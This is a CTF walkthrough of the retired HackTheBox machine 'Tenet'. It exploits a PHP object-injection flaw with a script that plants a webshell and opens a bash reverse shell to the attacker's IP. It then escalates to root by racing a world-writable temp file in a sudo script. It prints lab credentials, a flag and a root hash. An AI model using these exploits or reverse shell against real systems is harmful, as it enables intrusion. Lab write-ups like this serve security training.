NameTenet
DifficultyMedium
Release Date2021-01-16
Retired Date2021-06-12
IP Address10.10.10.223
OSLinux
Points30

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.

foothold

Nothing new in this section (if you’ve been following my Walkthrough’s). As always, we start with nmap.

$ nmap -p- -A tenet.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-31 23:53 WEST
Nmap scan report for tenet.htb (10.10.10.223)
Host is up (0.055s latency).
Other addresses for tenet.htb (not scanned): 10.10.10.223
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nothing out of the ordinary here, just a webserver (port 80) and an ssh server (port 22).

Let’s check out the website:

website-default

Hummm. Default Ubuntu vhost (Virtual Host) page. This smells fishy 🤔. Let’s just try to access a vhost with the name of the box:

website-tenet

Ahh! Like this one much more. One thing we have to note though, there are actually 2 websites on this server. The default vhost, that we should be able to access on any domain that resolves to this box’s IP address, and the tenet.htb vhost, that shows this website. It’s important to remember this because in the case we use gobuster or dirb, we actually have 2 sites to scan, and not only one.

So, the site looks like some kind of blog, so I took a quick look at the content. On the Migration post shown in the image there’s a comment that states:

neil
December 16, 2020 at 2:53 pm

did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!

Ok, something wasn’t quite finished when the admin (protagonist) installed this site and neil was pissed of. Still, good to know we should look for a sator.php file and a backup 😇.

Let’s start looking with gobuster then:

gobuster dir -u http://10.10.10.223 -w /usr/share/dirb/big.txt -x .php,.html,.txt,.sql
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.223
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,txt,sql
[+] Timeout:        10s
===============================================================
2021/05/31 23:56:15 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.sql (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.html (Status: 403)
/.htaccess (Status: 403)
/.htpasswd.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.sql (Status: 403)
/index.html (Status: 200)
/server-status (Status: 403)
/users.txt (Status: 200)
/wordpress (Status: 301)
===============================================================
2021/06/01 00:05:32 Finished
===============================================================

As I said above, we really should scan both websites because it will yield different results:

===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://tenet.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,txt,sql,php
[+] Timeout:        10s
===============================================================
2021/06/01 00:08:02 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.sql (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.sql (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/index.php (Status: 301)
/license.txt (Status: 200)
/readme.html (Status: 200)
/server-status (Status: 403)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/wp-config.php (Status: 200)
/wp-includes (Status: 301)
/wp-login.php (Status: 200)
/wp-trackback.php (Status: 200)
===============================================================
2021/06/01 00:17:19 Finished
===============================================================

So, we didn’t find the sator.php file (but probably it isn’t on the list either), and out of the 2 scans, the only thing really interesting is the users.txt file. Also, we now know that the blog presented on the tenet.htb vhost is a wordpress website (why would someone create a directory named wordpress if it wasn’t for a wordpress site? 😇). The users file was really strange and the only thing it contained was the word “Success”

website-userstxt

We also didn’t find any backup (that’s why I added the .sql extension to gobuster’s search parameters). Maybe it’s some other kind of backup?!

To try and find the sator.php file, I decided to look for it on the root of both sites:

$ curl http://tenet.htb/sator.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at tenet.htb Port 80</address>
</body></html>

$ curl http://10.10.10.223/sator.php
[+] Grabbing users from text file <br>
[] Database updated <br>[ble: EOF]                                              

Good! Found it! It also mentions “grabbing users from the text file”, maybe it’s the users.txt file we found before, although it is rather strange since it only contains “Success”. Anyway, we just need to figure out how to update that users.txt file to get ourselves a valid username to enter the site. But first, we still need to find that “backup” file neil mentioned on his comment. Everything thus far checked out, so maybe that backup file is important. Truth be told, we really don’t have a vector in besides that users.txt file, but even with that, how would one write to it?! And what kinda format for “users” is that?!

While looking for a way in, I tried to find something with “Rotas” in the name since it was mentioned on the last post made on the blog that:

‘Rotas’ will hopefully be coming to market late 2021, pending rigorous QA from our developers

If it still needed QA, it shouldn’t be bug free right? After an hour or so I decided to give a break to “Rotas” and point my needles to the “backup” file again.

I’ve searched a lot for a “backup” file thinking it was about a database backup file and tried to find it on every kinda of extensions like .gz, .tar.gz, or even .xz but to no avail. I went back to read the comment again thinking that I might have missed something, and somehow read it from another perspective. What if the “backup” neil mentions is actually a sator.php backup? With that in mind, I could really only think about .backup, .bak and .old (or the same but with and _ instead of a .). So I tried them all:

$ curl http://10.10.10.223/sator.php{.backup,.bak,.old}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.223 Port 80</address>
</body></html>
<?php

class DatabaseExport
{
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
	{
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';
	}


	public function __destruct()
	{
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';
	}
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.10.223 Port 80</address>
</body></html>

And I got a match on sator.php.bak! 🥳

This part was actually easy since I’ve made some HTB Challenges of the Web category where we exploit this flaw. What’s happening on that code is a PHP Object Injection vulnerability where an attacker can control some kind of PHP Object, which in this case is going to be a DatabaseExport object (for more info read the OWASP article linked above).

With an easy reverse shell at hand I coded a simple PHP program to help me serialize the object as I needed:

<?php

class DatabaseExport
{
    public $user_file = 'users.txt';
    public $data = '';
}

$rshell = '/bin/bash -c "bash -i > /dev/tcp/10.10.14.234/4444 0>&1"';

$db = new DatabaseExport;
$db->user_file = "r3pek.php";
$db->data = '<?php $x="' . base64_encode($rshell) . '"; $x=base64_decode($x); system($x); ?>';
system('curl -s http://10.10.10.223/sator.php?arepo=' . urlencode(serialize($db)));
system('curl -s http://10.10.10.223/r3pek.php');
?>

Executing this file should run the reverse shell.

website-reverseshell

And there we have it, our foothold! A reverse shell as www-data. Let’s continue escalate this to user now.

user flag

ls /home   
neil
ls -lha /home/neil 
total 36K
drwxr-xr-x 5 neil neil 4.0K Jun  1 23:07 .
drwxr-xr-x 3 root root 4.0K Dec 17 09:33 ..
lrwxrwxrwx 1 neil neil    9 Dec 17 10:53 .bash_history -> /dev/null
-rw-r--r-- 1 neil neil  220 Dec 16 15:00 .bash_logout
-rw-r--r-- 1 neil neil 3.7K Dec 16 15:00 .bashrc
drwx------ 2 neil neil 4.0K Dec 17 10:51 .cache
drwx------ 3 neil neil 4.0K Dec 17 10:51 .gnupg
drwxrwxr-x 3 neil neil 4.0K Dec 17 10:52 .local
-rw-r--r-- 1 neil neil  807 Dec 16 15:00 .profile
-r-------- 1 neil neil   33 Jun  1 23:02 user.txt

Now, we need to change our user to neil to read the user flag. Since the www-data user doesn’t have much permissions (not even a shell), a way to change to user neil shouldn’t be that far. I started snooping around and found out that all users (including www-data) are allowed to run the command /usr/local/bin/enableSSH.sh with root privileges.

sudo -l
Matching Defaults entries for www-data on tenet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User www-data may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

⚠️ Yes, you can actually root this box without user. Still, we’ll go the standard way.

One of the things we should always check when there is some CMS (Content Management System) on a box, is its database configuration. If it’s not a user/pass combo, I might give you access to the DB to do some other things. So, I checked wp-config.php.

grep DB wordpress/wp-config.php
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );

Oh won’t you look at that 😉. The DB_USER is neil (the same as the box user), and it has a “nice little password”. Let’s just try that out to login via ssh.

$ ssh neil@tenet.htb
neil@tenet.htb's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jun  2 00:42:57 UTC 2021

  System load:  0.0                Processes:             179
  Usage of /:   15.1% of 22.51GB   Users logged in:       2
  Memory usage: 10%                IP address for ens160: 10.10.10.223
  Swap usage:   0%


53 packages can be updated.
31 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jun  1 23:03:16 2021 from 10.10.14.234
neil@tenet:~$ cat user.txt 
e9bcd7c879bf6e24176654f15dec183a

There we go. User flag captured.

root flag

For the root flag we already knew about the existence of the enableSSH.sh shell script. This is its contents:

neil@tenet:~$ cat /usr/local/bin/enableSSH.sh 
#!/bin/bash

checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"

	else

		/bin/echo "Error in adding $sshName to authorized_keys file!"

	fi

}

checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1

	fi

}

addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName)

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded

Basically the script creates a temporary file on /tmp with the format ssh-XXXXXXXX (where the X are replaced with numbers and letters). It then adds the root@ubuntu ssh key to that file and “prints” that file into the root’s authorized_keys file. One thing to note is the change of umask to create the temporary file. umask sets the default permissions of newly created files, so in this case, the temporary file will have 444 (u=rw,g=rw,o=rw) permissions, meaning is readable and writable by everyone.

The way we attack this is by waiting for the temporary file to be created and then write our own ssh public key into that file. That way, when the shell script “prints” the file contents into the root’s authorized_keys file, our key will be in there and we’ll be able to login as root.

To accomplish this I wrote a simple bash function:

neil@tenet:~$ function add_mine() { while true; do echo "ssh-ed25519 <TRIMMED_OUT> r3pek" | tee /tmp/ssh*; done; }

This function just keeps printing my public key to all /tmp/ssh* files. One just have to execute it and leave that terminal alone. Then, open another terminal to the box as neil and spam the sudo /usr/local/bin/enableSSH.sh command a bunch of times for the script running on the first terminal to be able to do its job. If all goes well, we’ll have added our ssh public key to root’s authorized_keys and will be able to login remotely via ssh.

root-flag

And there we go, we have our root flag.

root password hash

$6$hfxS53gy$YDGYBt.0P7G3TpKB0qo.gkUNClP2CRMHyCNU/2aVjQSPN3mxpL4hs7XYX1XNM5mSEGiASvizwxTV0DToS/wDV.